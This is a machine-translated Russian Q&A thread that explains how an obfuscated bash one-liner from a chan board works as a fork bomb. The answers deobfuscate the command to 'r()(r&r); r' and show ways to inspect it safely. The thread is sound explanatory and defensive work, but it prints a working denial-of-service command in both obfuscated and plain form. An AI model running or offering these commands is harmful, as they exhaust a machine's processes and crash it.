Как и почему эта строка текста-вилочная бомба?

найдено на случайной доске chan:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Как-то работает это это это приводит к бесконечному процессу нереста, который работает безудержно и измельчает машину до остановки. Я вижу что-то о "Су", пытающемся быть казненным много раз.

..что странно, потому что я просто ожидаю, что текст будет выводиться, а не выполнение чего-либо.

запуск этого текста через онлайн-декодер просто дает мне пакет двоичных файлов spew:

uudecode result

что на самом деле делает этот беспорядок текста, и есть ли способ "безопасно" его просмотреть?

129
задан Mikey T.K. 2015-11-06 09:48:53
источник

3 ответов

во-первых, давайте посмотрим на всю команду:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

он содержит строку в двойных кавычках, которая повторяется до uudecode. Но обратите внимание, что внутри строки с двойными кавычками находится back-quoted строку. Эта строка получает выполнена. Строка:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

если мы посмотрим, что в нем, мы увидим три команды:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

выполняя фигурные скобки на среднем командовании, мы есть:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

первая строка пытается запустить бессмысленную команду в фоновом режиме. Это не имеет значения.

вторая строка важна: она определяет функцию r, который, при запуске, запускает две копии. Каждая из этих копий, разумеется, выпустит еще две копии. и так далее.

третья строка r, запуск бомбы вилки.

остальной код, за пределами задней кавычки, это просто бред путаница.

Как выполнить команду безопасное

этот код можно безопасно запустить, если установить ограничение на уровень вложенности функции. Это можно сделать с Баша FUNCNEST переменной. Здесь мы устанавливаем его в 2 и это останавливает рекурсию:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

сообщения об ошибках выше показывают, что (a) бессмысленные команды rYWdl и Y29j не найдены, (b) бомба вилки многократно останавливается FUNCNEST, и (c) вывод echo не начинается с begin и, следовательно, недопустимый ввод для uudecode.

вилка бомбы в самом простом виде

как бы выглядела вилочная бомба, если бы мы убрали затемнение? Как предполагают njzk2 и gerrit, это будет выглядеть так:

echo "`r()(r&r);r`"

мы можем упростить это еще больше:

r()(r&r); r

состоит из двух операторов: один определяет функцию fork-bomb-function r а второй работает r.

все другой код, в том числе трубы uudecode, был там только для затемнения и неправильного направления.

первоначальная форма имела еще один слой неправильного направления

ОП предоставил a link к обсуждению доски chann, на котором появился этот код. В представленном виде код выглядел так:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

обратите внимание на один из первых комментариев про этот код:

я купился на это. Скопировал только ту часть, которая расшифровывает, но все еще у forkbombed

в форме на доске chann, наивно было бы думать, что проблема будет eval оператор, работающий на выходе uudecode. Это привело бы к мысли, что удаление eval решит эту проблему. Как мы видели выше, это ложно и опасно.

188
отвечен John1024 2016-02-20 02:22:43
источник

чтобы ответить на вторую часть вашего вопроса:

...Есть ли способ "безопасно" просмотреть его?

разрядить эту строку, замените внешние двойные кавычки одинарными и экранируйте одинарные кавычки, встречающиеся внутри строки. Таким образом, оболочка не будет выполнять никакого кода, и вы фактически передаете все прямо в uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

другие альтернативы отмечены в комментариях:

kasperd предложил:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Джейкоб Кролл предложил чтобы использовать текстовый редактор, вставьте содержимое, а затем передайте этот файл в uudecode.

10
отвечен gerrit 2017-03-20 13:17:14
источник

на первый взгляд, можно подумать, что вывод в оболочку никогда не будет выполняться. Это все верно. Проблема уже в input. Главная хитрость здесь в том, что программисты называют приоритет операторов. Это порядок, в котором оболочка пытается обработать ваш ввод:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. составьте строку, выполнив все команды backticks внутри нее.
  2. обычно неизвестная команда, которая хотели вызвать какую-то выход, как если 'rYWdl' не опечатка, вы можете использовать command-not-found для поиска пакета, который содержит его ... (зависит от системы)
  3. выполняет 2. в фоновом режиме. Вы никогда не увидите выход.
  4. определите функцию бомбы вилки.
  5. разделитель команд.
  6. запустить вилку бомбы.
  7. вставить результат 6. в строку. (мы никогда сюда не приходим.)

ошибка думать, что echo будет первой выполняемой командой,uudecode второй. Оба они никогда не будут достигнуты.

вывод: двойные кавычки всегда опасны на раковине.

5
отвечен Paramaeleon 2015-11-11 11:01:03
источник

Другие вопросы shell malware encoding forking

X